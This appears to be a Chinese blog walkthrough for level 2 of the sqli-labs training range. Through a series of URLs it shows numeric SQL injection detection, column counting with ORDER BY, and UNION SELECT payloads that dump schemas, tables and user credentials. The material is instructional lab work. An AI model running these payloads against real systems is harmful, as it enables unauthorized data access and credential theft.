【less-2】sqli-labs靶场第二关

简介: 【less-2】sqli-labs靶场第二关

解法

传入id=1查看页面回显

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1


第一步:判断注入类型。如字符型,数值型

数字型判断:

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:

select * from <表名> where id = x

这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。

Url地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

原因如下:


当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1没有语法错误且逻辑判断为正确,所以返回正常。

当输入 and 1=2时,后台执行 Sql 语句: select * from <表名> where id = x and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。

我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:

select * from <表名> where id = 'x and 1=1'

select * from <表名> where id = 'x and 1=2'

查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

经过语句and 1=2测试 ,页面回显易常,所以该地方是数值查询。

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=1

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2


第二步:判断表字段数(使用order by)

使用order by语句判断该表中一共有几列数据。order by 3页面回显正常,order by 4页面回显不正常,

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 order by 3--+

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 order by 3--+


第三步:使用union select 1,2,3联合查询语句查看页面是否有显示位

发现页面先输出了2和3,说明页面有2个显示位。

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3 -- limit 0,1

接下来查看数据库名和版本号

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,database(),version() --+


第四步:利用sql查询语句爆破出数据库内的数据库名

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata -- limit 0,1


第五步:利用sql查询语句爆破出security数据库内的表名

使用group_concat()函数全部查询

通过mysql数据库中的information_schema数据中的tables表来查询所有的表相关信息

由于上面已经爆破出数据库名security,可以直接这样爆破

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

如果上一步没有爆破数据库名,也可以这样爆破

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

使用limit函数逐一查询

SQL语句,limit有两个参数,第一个参数表示从第几行数据开始查,第二个参数表示查几条数据,“limit 3,2”表示从第四行数据开始,取两条数据。

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1 --+

查出表为emails,referers,uagents,users。明显users表是用来保存用户密码的。


第六步:利用sql查询语句爆破出users数据表内的列名

使用group_concat()函数全部查询

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

使用limit函数逐一查询

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users'  limit 0,1 --+

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users'  limit 1,1 --+


第七步:利用sql查询语句爆破出username、password列的值

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(username), group_concat(password) from security.users --+

成功!

相关文章
|
安全 网络安全 PHP
[网络安全]upload-labs Pass-17 解题详析
[网络安全]upload-labs Pass-17 解题详析
640 0
|
SQL 安全 网络安全
[网络安全]sqli-labs Less-21 解题详析
[网络安全]sqli-labs Less-21 解题详析
479 0
|
缓存 NoSQL Unix
【实战指南】守护进程服务实现
本文介绍了在Linux系统中实现守护进程异常重启的几种方案。通过理解僵死进程和信号处理机制,提出了基于SIGCHLD信号监听、轮询proc文件系统及waitpid接口的三种方法,并给出了C++实现代码。最终选择轮询方式以提升稳定性,确保服务进程在崩溃后能自动重启,保障系统可靠性。
735 105
|
SQL Web App开发 网络安全
渗透测试-浏览器插件-Hackbar的安装与使用教程
渗透测试-浏览器插件-Hackbar的安装与使用教程
渗透测试-浏览器插件-Hackbar的安装与使用教程
|
SQL 数据库
【SQL注入】 sqli-labs靶场 sqlmap注入
SQL注入 sqli-labs靶场 sqlmap注入
1820 0
|
安全 测试技术 PHP
如何搭建 sqli-labs 靶场保姆级教程(附链接)
如何搭建 sqli-labs 靶场保姆级教程(附链接)
|
SQL 开发框架 安全
【干货】如何判断 Sql 注入点
【干货】如何判断 Sql 注入点
|
Go Windows
golang hello 安装环境异常【已解决】
golang hello 安装环境异常【已解决】
938 1
|
Web App开发 Go PHP
BUUCTF---[极客大挑战 2019]Http1
BUUCTF---[极客大挑战 2019]Http1